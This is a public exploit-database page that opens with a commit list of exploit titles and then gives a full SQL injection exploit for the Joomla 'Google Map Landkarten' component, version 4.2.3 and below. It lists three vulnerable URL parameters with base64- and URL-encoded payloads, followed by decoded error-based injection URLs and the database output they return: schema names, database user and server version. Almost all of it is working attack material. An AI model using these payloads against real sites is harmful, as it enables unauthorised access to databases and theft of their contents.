ed38447971
45 changes to exploits/shellcodes Microsoft Edge - 'UnmapViewOfFile' ACG Bypass JBoss Remoting 6.14.18 - Denial of Service Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module < 4.25 - Denial of Service ABRT - raceabrt Privilege Escalation(Metasploit) Joomla! Component Fastball 1.1.0 < 1.2 - SQL Injection Joomla! Component Fastball 1.1.0 < 1.2 - 'league' SQL Injection Dasan Networks GPON ONT WiFi Router H640X versions 12.02-01121 / 2.77p1-1124 / 3.03p2-1146 - Unauthenticated Remote Code Execution Dasan Networks GPON ONT WiFi Router H640X 12.02-01121 / 2.77p1-1124 / 3.03p2-1146 - Unauthenticated Remote Code Execution EPIC MyChart - SQL Injection TV - Video Subscription - Authentication Bypass SQL Injection UserSpice 4.3 - Blind SQL Injection Twig < 2.4.4 - Server Side Template Injection Joomla! Component Kubik-Rubik Simple Image Gallery Extended (SIGE) 3.2.3 - Cross-Site Scripting Joomla! Component Advertisement Board 3.1.0 - 'catname' SQL Injection Joomla! Component Aist 2.0 - 'id' SQL Injection Joomla! Component AllVideos Reloaded 1.2.x - 'divid' SQL Injection Joomla! Component DT Register 3.2.7 - 'id' SQL Injection Joomla! Component Fastball 2.5 - 'season' SQL Injection Joomla! Component File Download Tracker 3.0 - SQL Injection Joomla! Component Form Maker 3.6.12 - SQL Injection Joomla! Component Gallery WD 1.3.6 - SQL Injection Joomla! Component Google Map Landkarten 4.2.3 - SQL Injection Joomla! Component InviteX 3.0.5 - 'invite_type' SQL Injection Joomla! Component JB Bus 2.3 - 'order_number' SQL Injection Joomla! Component jGive 2.0.9 - SQL Injection Joomla! Component JomEstate PRO 3.7 - 'id' SQL Injection Joomla! Component JquickContact 1.3.2.2.1 - SQL Injection Joomla! Component JS Autoz 1.0.9 - SQL Injection Joomla! Component JS Jobs 1.1.9 - SQL Injection Joomla! Component JTicketing 2.0.16 - SQL Injection Joomla! Component MediaLibrary Free 4.0.12 - SQL Injection Joomla! Component NeoRecruit 4.1 - SQL Injection Joomla! Component Project Log 1.5.3 - 'search' SQL Injection Joomla! Component Realpin 1.5.04 - SQL Injection Joomla! Component SimpleCalendar 3.1.9 - SQL Injection Joomla! Component Smart Shoutbox 3.0.0 - SQL Injection Joomla! Component Solidres 2.5.1 - SQL Injection Joomla! Component Staff Master 1.0 RC 1 - SQL Injection Joomla! Component Timetable Responsive Schedule For Joomla 1.5 - 'alias' SQL Injection Joomla! Pinterest Clone Social Pinboard 2.0 - SQL Injection Joomla Component ccNewsletter 2.x.x 'id' - SQL Injection Joomla! Component Saxum Astro 4.0.14 - SQL Injection Joomla! Component Saxum Numerology 3.0.4 - SQL Injection Joomla! Component SquadManagement 1.0.3 - SQL Injection Joomla! Component Saxum Picker 3.2.10 - SQL Injection Front Accounting ERP 2.4.3 - Cross-Site Request Forgery PHIMS - Hospital Management Information System - 'Password' SQL Injection PSNews Website 1.0.0 - 'Keywords' SQL Injection Oracle Primavera P6 Enterprise Project Portfolio Management - HTTP Response Splitting
49 lines
No EOL
5.2 KiB
Text
49 lines
No EOL
5.2 KiB
Text
# # # #
|
|
# Exploit Title: Joomla! Component Google Map Landkarten <= 4.2.3 - SQL Injection
|
|
# Dork: N/A
|
|
# Date: 16.02.2018
|
|
# Vendor Homepage: http://www.joomla-24.de/
|
|
# Software Link: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/google-map-landkarten/
|
|
# Software Download: http://www.joomla-24.de/download/send/9-komponenten/85-google-map-landkarten
|
|
# Version: <= 4.2.3
|
|
# Category: Webapps
|
|
# Tested on: WiN7_x64/KaLiLinuX_x64
|
|
# CVE: CVE-2018-6396
|
|
# # # #
|
|
# Exploit Author: Ihsan Sencan
|
|
# # # #
|
|
#
|
|
# POC:
|
|
#
|
|
# 1)
|
|
# http://localhost/[PATH]/index.php?option=com_gmap&view=gm_markers&tmpl=component&layout=form_markers&cid=[SQL]&id=1&format=raw
|
|
#
|
|
# MScrLyohMDMzMzNVTklPTiovKy8qITAzMzMzQUxMKi8rLyohMDMzMzNTRUxFQ1QqLytudUxsLG51TGwsbnVMbCxudUxsLG51TGwsbnVMbCxudUxsLG51TGwsLyohMDMzMzNDT05DQVQqLygoLyohMDMzMzNTRUxFQ1QqLyhAeCkvKiEwMzMzM0ZST00qLygvKiEwMzMzM1NFTEVDVCovKEB4Oj0weDAwKSwoQE5SOj0wKSwoLyohMDMzMzNTRUxFQ1QqLygwKS8qITAzMzMzRlJPTSovKElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMpLyohMDMzMzNXSEVSRSovKFRBQkxFX1NDSEVNQSE9MHg2OTZlNjY2ZjcyNmQ2MTc0Njk2ZjZlNWY3MzYzNjg2NTZkNjEpLyohMDMzMzNBTkQqLygweDAwKUlOKEB4Oj0vKiEwMzMzM0NPTkNBVCovKEB4LExQQUQoQE5SOj1ATlIlMmIxLDQsMHgzMCksMHgzYTIwLHRhYmxlX25hbWUsMHgzYzYyNzIzZSkpKSl4KSksbnVMbCxudUxsLS0rVmVyQXlhcmk=
|
|
#
|
|
# MScrLyohMDc3NzdVTklPTiovKy8qITA3Nzc3QUxMKi8rLyohMDc3NzdTRUxFQ1QqLytudUxsLG51TGwsbnVMbCxudUxsLG51TGwsbnVMbCxudUxsLC8qITA3Nzc3Q09OQ0FUKi8oKC8qITA3Nzc3U0VMRUNUKi8oQHgpRlJPTShTRUxFQ1QoQHg6PTB4MDApLChATlI6PTApLCgvKiEwNzc3N1NFTEVDVCovKDApLyohMDc3NzdGUk9NKi8oSU5GT1JNQVRJT05fU0NIRU1BLlRBQkxFUykvKiEwNzc3N1dIRVJFKi8oVEFCTEVfU0NIRU1BIT0weDY5NmU2NjZmNzI2ZDYxNzQ2OTZmNmU1ZjczNjM2ODY1NmQ2MSkvKiEwNzc3N0FORCovKDB4MDApSU4oQHg6PS8qITA3Nzc3Q09OQ0FUKi8oQHgsTFBBRChATlI6PUBOUiUyYjEsNCwweDMwKSwweDNhMjAsdGFibGVfbmFtZSwweDNjNjI3MjNlKSkpKXgpKSxudUxsLG51TGwsbnVMbCxudUxsLS0rVmVyQXlhcmk=
|
|
#
|
|
# 2)
|
|
# http://localhost/[PATH]/index.php?option=com_gmap&view=gm_markers&tmpl=component&layout=form_markers&cid=1&id=[SQL]&format=raw
|
|
#
|
|
# JTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQzJTQxJTUzJTQ1JTIwJTU3JTQ4JTQ1JTRlJTIwJTI4JTMyJTM2JTMxJTMwJTNkJTMyJTM2JTMxJTMwJTI5JTIwJTU0JTQ4JTQ1JTRlJTIwJTMyJTM2JTMxJTMwJTIwJTQ1JTRjJTUzJTQ1JTIwJTMyJTM2JTMxJTMwJTJhJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTMyJTM2JTMxJTMwJTIwJTQ2JTUyJTRmJTRkJTIwJTQ5JTRlJTQ2JTRmJTUyJTRkJTQxJTU0JTQ5JTRmJTRlJTVmJTUzJTQzJTQ4JTQ1JTRkJTQxJTJlJTUwJTRjJTU1JTQ3JTQ5JTRlJTUzJTI5JTIwJTQ1JTRlJTQ0JTI5JTI5JTI2JTY2JTZmJTcyJTZkJTYxJTc0JTNkJTcyJTYxJTc3
|
|
#
|
|
# MStBTkQrRVhUUkFDVFZBTFVFKDQ4NTUsQ09OQ0FUKDB4NWMsKFNFTEVDVCtHUk9VUF9DT05DQVQoc2NoZW1hX25hbWUrU0VQQVJBVE9SKzB4M2M2MjcyM2UpK0ZST00rSU5GT1JNQVRJT05fU0NIRU1BLlNDSEVNQVRBKSwoU0VMRUNUKyhFTFQoNDg1NT00ODU1LDEpKSksQ09OQ0FUX1dTKDB4MjAzYTIwLFVTRVIoKSxEQVRBQkFTRSgpLFZFUlNJT04oKSkpKQ==
|
|
#
|
|
# 3)
|
|
# http://localhost/[PATH]/index.php?option=com_gmap&view=gm_modal&tmpl=component&layout=default&map=[SQL]
|
|
#
|
|
# JTI3JTIwJTJmJTJhJTIxJTMwJTM4JTM4JTM4JTM4JTQxJTRlJTQ0JTJhJTJmJTIwJTQ1JTU4JTU0JTUyJTQxJTQzJTU0JTU2JTQxJTRjJTU1JTQ1JTI4JTM2JTM2JTJjJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTMwJTc4JTM1JTYzJTJjJTI4JTJmJTJhJTIxJTMwJTM4JTM4JTM4JTM4JTUzJTQ1JTRjJTQ1JTQzJTU0JTJhJTJmJTIwJTQ3JTUyJTRmJTU1JTUwJTVmJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTczJTYzJTY4JTY1JTZkJTYxJTVmJTZlJTYxJTZkJTY1JTIwJTUzJTQ1JTUwJTQxJTUyJTQxJTU0JTRmJTUyJTIwJTMwJTc4JTMzJTYzJTM2JTMyJTM3JTMyJTMzJTY1JTI5JTIwJTQ2JTUyJTRmJTRkJTIwJTQ5JTRlJTQ2JTRmJTUyJTRkJTQxJTU0JTQ5JTRmJTRlJTVmJTUzJTQzJTQ4JTQ1JTRkJTQxJTJlJTUzJTQzJTQ4JTQ1JTRkJTQxJTU0JTQxJTI5JTJjJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQ1JTRjJTU0JTI4JTM0JTM3JTM2JTMyJTNkJTM0JTM3JTM2JTMyJTJjJTMxJTI5JTI5JTI5JTJjJTQzJTRmJTRlJTQzJTQxJTU0JTVmJTU3JTUzJTI4JTMwJTc4JTMyJTMwJTMzJTYxJTMyJTMwJTJjJTU1JTUzJTQ1JTUyJTI4JTI5JTJjJTQ0JTQxJTU0JTQxJTQyJTQxJTUzJTQ1JTI4JTI5JTJjJTU2JTQ1JTUyJTUzJTQ5JTRmJTRlJTI4JTI5JTI5JTI5JTI5JTJkJTJkJTIwJTU2JTY1JTcyJTQxJTc5JTYxJTcyJTY5
|
|
#
|
|
# MScgQU5EIChTRUxFQ1QgMjk1OCBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoKFNFTEVDVCAoRUxUKDI5NTg9Mjk1OCwxKSkpLENPTkNBVF9XUygweDIwM2EyMCxVU0VSKCksREFUQUJBU0UoKSxWRVJTSU9OKCkpLEZMT09SKFJBTkQoMCkqMikpeCBGUk9NIElORk9STUFUSU9OX1NDSEVNQS5QTFVHSU5TIEdST1VQIEJZIHgpYSktLStWZXJBeWFyaQ==
|
|
#
|
|
# # # #
|
|
|
|
|
|
http://localhost/Joomla375/index.php?option=com_gmap&view=gm_modal&tmpl=component&layout=default&map='+/*!08888AND*/+EXTRACTVALUE(66,CONCAT(0x5c,(/*!08888SELECT*/+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),(SELECT+(ELT(4762=4762,1))),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())))--+VerAyari
|
|
1105 XPATH syntax error: '\bahistanitim<br>cmslite<br>doct'
|
|
|
|
http://localhost/Joomla375/index.php?option=com_gmap&view=gm_markers&tmpl=component&layout=form_markers&cid=1' AND (SELECT 6142 FROM(SELECT COUNT(*),CONCAT(0x494853414e2053454e43414e,(SELECT (ELT(6142=6142,1))),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ptYA&id=1&format=raw
|
|
1062 Duplicate entry 'IHSAN SENCAN1root@localhost : joomla375 : 10.1.21-MariaDB1' for key 'group_key'
|
|
|
|
http://localhost/Joomla375/index.php?option=com_gmap&view=gm_markers&tmpl=component&layout=form_markers&cid=1&id=1+AND+EXTRACTVALUE(4855,CONCAT(0x5c,(SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),(SELECT+(ELT(4855=4855,1))),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION())))&format=raw
|
|
1105 XPATH syntax error: '\qpjkq1root@localhost : joomla37' |